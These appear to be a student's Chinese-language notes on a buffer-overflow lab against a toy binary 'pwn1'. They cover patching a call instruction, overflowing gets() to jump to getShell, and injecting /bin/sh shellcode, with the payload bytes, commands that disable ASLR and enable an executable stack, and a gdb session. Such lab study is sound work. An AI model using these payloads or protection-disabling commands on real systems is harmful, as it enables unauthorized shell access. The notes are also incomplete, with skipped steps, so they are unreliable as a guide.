[关闭]
@Half-Bread 2020-03-12T08:23:13.000000Z 字数 4322 阅读 104

exp1笔记

3种思路
1. 手工修改可执行文件,改变程序执行流程
2. 利用函数执行时的Bof**漏洞**,这里是foo的Bof漏洞
3. 注入一个自己制作的shellcode并运行这段shellcode

函数调用中栈的变化和EIP(另讲,不算在实验步骤钟)

没记

直接修改

objdump -d pwn1

call 指令指令地址是 e8

d7 ff ff ff(小端在前):执行到call的时候,EIP指向80484ba,call指令将ffffffd7加到EIP上。ffffffd7是补码。由地址1-地址2得到

计算出需要修改的后,直接使用vi进行编辑(或用图形化编辑器 wxHexEditor),将d3修改为新的

Bof漏洞

什么是Bof漏洞

不知道

foo函数的Bof漏洞

sub $0x38, %esp 为局部变量分配了空间

call语句调用gets,要给gets准备参数。

gets函数得到的数据放在哪里?按他的意思是栈帧的栈底地址减去0x1c(十进制的28)后得到地址d,把数据放到从d开始的空间里。也就是留了28个字节的空间。如果gets函数的读取到的数据**,多的数据就会覆盖高地址的栈空间。

lea那行没看懂

call指令相当于1.push EIP + 2.jmp
理解可以参考这个网站

那高地址的栈中保留了什么数据呢?回到主函数,在foo函数的push %ebp指令执行前,执行了call 8048491 \指令。call指令执行时,会先将下一条指令的地址,即EIP寄存器的内容(80484ba)存入栈中,然后将要执行的函数的地址放入EIP中。被执行的函数执行完后,会将先前保持的地址从栈中弹出到EIP,使程序能够继续执行。

如果gets写入的数据过多,就会覆盖栈中保存的地址,使foo函数执行完后,要执行的下一条指令被修改。

gets输入的字符,前28个字节会输入到为它预留的空间中,后4个字节会放入到ESP中,后4个字节会放入到EIP(被保存的地址)中(画一下堆栈结构?),如果通过构造字符串,用getShell的地址替换掉原来保存的地址,就可以在执行完foo后,执行getShell函数。

利用漏洞

Segmentation fault

注意一下顺序:(小端优先)

由于\x7d\x84...这样的16进制值,不能通过键盘输入,所以使用Perl语言生成一个包含这些字符的文件,\x0a代表回车

  1. $Perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input

生成input文件后,可以使用16进制查看指令xxd查看input文件内容

使用管道|做为pwn1的输入

  1. $(cat input; cat) | ./pwn1

重点在栈

注入shellcode并执行

什么是shellcode

思路

构造shellcode->注入->覆盖

上一个实验中,是将EIP覆盖为getshell的地址,本实验中,是先存放shellcode,然后将EIP的地址改为注入的shellcode的地址

准备一段shellcode

最基本的shellcode的编写可参考徐同学的shellcode入门

本次实验使用写好的shellcode

  1. 懒得复制

准备工作(不懂)

  1. root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行,为什么?
  2. root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
  3. X pwn1
  4. root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //关闭ASLR(地址空间布局随机化)
  5. 2
  6. root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  7. root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
  8. 0

为什么要设置栈可执行?

答:他说什么我没听清

为什么要关闭ASLR?

答:保证栈的起始地址相同

参考:使用Linux进行缓冲区溢出实验的配置记录

构造要注入的PAYLOAD(复制的,后面这一坨就完全看不懂了)

  1. root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  2. 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
  3. 特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:

  1. root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
  2. ������1Ph//shh/bin��PS��1Ұ
  3. �

(过程,如下,没看懂。。。)
再开另外一个终端,用gdb来调试pwn1这个进程。

  1. //1.找到pwn1的进程号是:27728
  2. root@KaliYL:/home# ps -ef | grep pwn1
  3. root 27728 25675 0 10:19 pts/1 00:00:00 ./pwn1
  4. root 27732 25991 0 10:19 pts/2 00:00:00 grep pwn1
  5. root@KaliYL:/home#
  6. //2.启动gdb调试这个进程
  7. root@KaliYL:/home# gdb
  8. (gdb) attach 27728
  9. Attaching to process 27728
  10. //3. 通过设置断点,来查看注入buf的内存地址
  11. (gdb) disassemble foo
  12. Dump of assembler code for function foo:
  13. 0x08048491 <+0>: push %ebp
  14. 0x08048492 <+1>: mov %esp,%ebp
  15. 0x08048494 <+3>: sub $0x38,%esp
  16. 0x08048497 <+6>: lea -0x1c(%ebp),%eax
  17. 0x0804849a <+9>: mov %eax,(%esp)
  18. 0x0804849d <+12>: call 0x8048330 <gets@plt>
  19. 0x080484a2 <+17>: lea -0x1c(%ebp),%eax
  20. 0x080484a5 <+20>: mov %eax,(%esp)
  21. 0x080484a8 <+23>: call 0x8048340 <puts@plt>
  22. 0x080484ad <+28>: leave
  23. 0x080484ae <+29>: ret //断在这,这时注入的东西都大堆栈上了
  24. //ret完,就跳到我们覆盖的retaddr那个地方了
  25. End of assembler dump.
  26. (gdb) break *0x080484ae
  27. Breakpoint 1 at 0x80484ae
  28. //在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
  29. (gdb) c
  30. Continuing.
  31. Breakpoint 1, 0x080484ae in foo ()
  32. (gdb) info r esp
  33. esp 0xffffd31c 0xffffd31c
  34. (gdb) x/16x 0xffffd31c //看到 01020304了,再往前找
  35. 0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000
  36. 0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4
  37. (gdb) x/16x 0xffffd300 //看到9090310c了,再往前一点
  38. 0xffffd300: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
  39. 0xffffd310: 0x895350e3 0xb0d231e1 0x9080cd0b
  40. (gdb) x/16x 0xffffd2fc //从这开始就是我们的Shellcode
  41. 0xffffd2fc: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
  42. 0xffffd30c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b
  43. 0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000
  44. 0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4 0xffffd3cc
  45. (gdb) c
  46. Continuing.
  47. Program received signal SIGSEGV, Segmentation fault.
  48. 0x01020304 in ?? () //这个返回地址占位也是对的
  49. (gdb) quit
  50. //4.我决定将返回地址改为0xffffd300
  51. 。。。。。略过一堆
  52. 之前那个没做成,重新开始之后成果了

结合nc模拟远程攻击

防范注入

扩展阅读

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注